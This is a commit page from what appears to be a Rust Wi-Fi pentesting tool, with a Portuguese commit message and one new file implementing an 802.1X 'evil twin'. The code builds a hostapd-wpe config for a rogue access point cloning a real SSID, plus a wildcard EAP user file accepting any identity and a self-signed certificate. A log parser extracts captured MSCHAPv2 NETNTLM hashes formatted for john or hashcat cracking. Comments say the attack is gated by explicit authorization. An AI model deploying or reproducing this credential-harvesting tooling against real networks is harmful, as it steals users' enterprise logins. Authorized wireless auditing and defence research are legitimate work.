feat: Evil Twin (PSK + Enterprise/802.1X) e achados de análise de canais

- eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda
  interface, com portal cativo pedindo a senha de novo. A senha só é
  aceita se bater de verdade contra o handshake real já capturado
  (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo
  criptográfico. Exige handshake quebrável já capturado desse BSSID e
  autorização explícita, mesma trilha de auditoria dos outros ataques.
- eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise
  (802.1X) — nelas a credencial viaja no próprio handshake EAP
  (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP
  que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe
  (não vendorizado — é um patch no build do hostapd); gera certificado
  TLS autoassinado e eap_user genérico; parser best-effort do log de
  credenciais capturadas. Limitação documentada: cliente que valida a
  cadeia de certificado recusa a conexão.
- analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo,
  possível evil twin real por nome duplicado) e recomendação de canal por
  banda com pontuação de interferência/sobreposição.
This commit is contained in:
Lucas Rayan committed 2026-10-24 14:54:06 -03:00
1 parent f83654506e
commit 91aacba939
3 files changed
+1182

No files matched your search

@@ -0,0 +1,224 @@
//! Evil Twin pra redes WPA2/WPA3-Enterprise (802.1X — usuário+senha via
//! RADIUS, não uma senha única como o PSK comum): clona o AP numa segunda
//! interface anunciando o mesmo SSID e aceita o handshake EAP (PEAP/EAP-TTLS
//! com MSCHAPv2) de qualquer cliente que tente autenticar nele. Diferente do
//! Evil Twin de PSK (`eviltwin.rs`), aqui o dispositivo manda a credencial
//! **automaticamente**, como parte do próprio protocolo 802.1X — não precisa
//! de portal cativo nem de nenhuma ação humana, porque o cliente já tenta
//! autenticar sozinho em qualquer AP que anuncie o SSID que ele reconhece.
//!
//! Isso só existe pra Enterprise porque só nela a senha (ou algo derivado
//! dela) de fato viaja pela rede como parte da autenticação — no PSK a
//! senha nunca é transmitida (só confere um MIC), por isso o Evil Twin de
//! PSK precisa enganar um humano a digitá-la de novo.
//!
//! Orquestra o `hostapd-wpe` (não vem com o Sabiá — precisa estar instalado
//! separadamente: não é um binário pequeno vendorizável como o reaver, é um
//! patch sobre a árvore de build do próprio hostapd). O Sabiá só gera a
//! config, o `eap_user` genérico e o certificado autoassinado, e depois lê o
//! log de credenciais capturadas.
//!
//! Limitação honesta: o certificado é autoassinado. Clientes que validam a
//! cadeia de certificado da rede (comum em dispositivos atualizados,
//! principalmente com perfil MDM corporativo) vão recusar a conexão ou
//! avisar o usuário — exatamente a defesa que deveria existir contra esse
//! ataque. Funciona de verdade contra dispositivos configurados sem essa
//! validação (ainda comum em redes legadas/mal configuradas), que é o caso
//! que esse ataque sempre existiu para expor.
use std::fmt::Write as _;
/// Config do hostapd-wpe pro AP clone: mesmo SSID/canal do AP real,
/// anunciando WPA2-Enterprise e aceitando qualquer EAP (PEAP/TTLS) — é o
/// `eap_user_file` genérico que faz ele aceitar qualquer identidade.
#[allow(clippy::too_many_arguments)]
pub fn hostapd_wpe_conf(
iface: &str,
ssid: &str,
channel: u32,
eap_user_path: &str,
ca_cert_path: &str,
server_cert_path: &str,
server_key_path: &str,
wpe_logfile_path: &str,
) -> String {
let mut out = String::new();
let _ = writeln!(out, "interface={iface}");
let _ = writeln!(out, "driver=nl80211");
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
let _ = writeln!(out, "channel={channel}");
let _ = writeln!(out, "auth_algs=1");
let _ = writeln!(out, "wmm_enabled=1");
let _ = writeln!(out, "ignore_broadcast_ssid=0");
let _ = writeln!(out, "wpa=2");
let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
let _ = writeln!(out, "rsn_pairwise=CCMP");
let _ = writeln!(out, "ieee8021x=1");
let _ = writeln!(out, "eap_server=1");
let _ = writeln!(out, "eap_user_file={eap_user_path}");
let _ = writeln!(out, "ca_cert={ca_cert_path}");
let _ = writeln!(out, "server_cert={server_cert_path}");
let _ = writeln!(out, "private_key={server_key_path}");
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
out
}
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
/// challenge/response de qualquer cliente que tentar autenticar, sem
/// precisar saber credenciais reais de antemão.
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
"* PEAP,TTLS\n",
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
);
/// Argumentos do `openssl req` pra gerar o par certificado+chave
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
/// é de sobra pra uma sessão de teste.
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
[
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"1",
"-nodes",
"-subj",
"/CN=sabia-wpe",
]
.into_iter()
.map(String::from)
.collect()
}
fn sanitize_conf_value(value: &str) -> String {
value.replace(['\n', '\r'], "")
}
/// Uma credencial capturada: identidade + a linha pronta pra crackear
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
/// se o hostapd-wpe conseguiu capturar os dois.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CapturedCredential {
pub username: String,
pub netntlm: Option<String>,
}
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
/// best-effort: o formato do hostapd-wpe é documentado (blocos
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
/// validar contra uma instalação de verdade nesta máquina (não é um
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
/// sempre expõe o arquivo de log cru também, pra conferência manual.
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
let mut out: Vec<CapturedCredential> = Vec::new();
let mut current_username: Option<String> = None;
for raw_line in log.lines() {
let line = raw_line.trim();
if let Some(rest) = line.strip_prefix("username:") {
current_username = Some(rest.trim().to_string());
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
let netntlm = rest.trim().to_string();
let username = current_username
.clone()
.or_else(|| netntlm.split(':').next().map(str::to_string))
.unwrap_or_default();
if !out.iter().any(|c: &CapturedCredential| {
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
}) {
out.push(CapturedCredential {
username,
netntlm: Some(netntlm),
});
}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
let conf = hostapd_wpe_conf(
"wlan1",
"Corp\nWifi",
149,
"/tmp/eap_user",
"/tmp/ca.pem",
"/tmp/server.pem",
"/tmp/server.key",
"/tmp/wpe.log",
);
assert!(conf.contains("interface=wlan1"));
assert!(conf.contains("ssid=CorpWifi"));
assert!(!conf.contains("ssid=Corp\nWifi"));
assert!(conf.contains("hw_mode=a"));
assert!(conf.contains("ieee8021x=1"));
assert!(conf.contains("eap_server=1"));
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
}
#[test]
fn openssl_args_reference_the_right_paths() {
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
assert!(args.contains(&"/tmp/k.key".to_string()));
assert!(args.contains(&"/tmp/c.pem".to_string()));
assert!(args.contains(&"-x509".to_string()));
}
#[test]
fn captured_identities_parses_username_and_netntlm_blocks() {
let log = "\
mschapv2: Thu Jan 1 00:00:00 1970
username: bob
challenge: aabbccddeeff0011
response: 1122334455667788990011223344556677889900aabbcc
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
mschapv2: Thu Jan 1 00:01:00 1970
username: alice
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 2);
assert_eq!(creds[0].username, "bob");
assert!(creds[0]
.netntlm
.as_deref()
.unwrap()
.starts_with("bob:$NETNTLM$"));
assert_eq!(creds[1].username, "alice");
}
#[test]
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
let log = "\
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 1);
}
#[test]
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
assert!(captured_identities("").is_empty());
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
}
}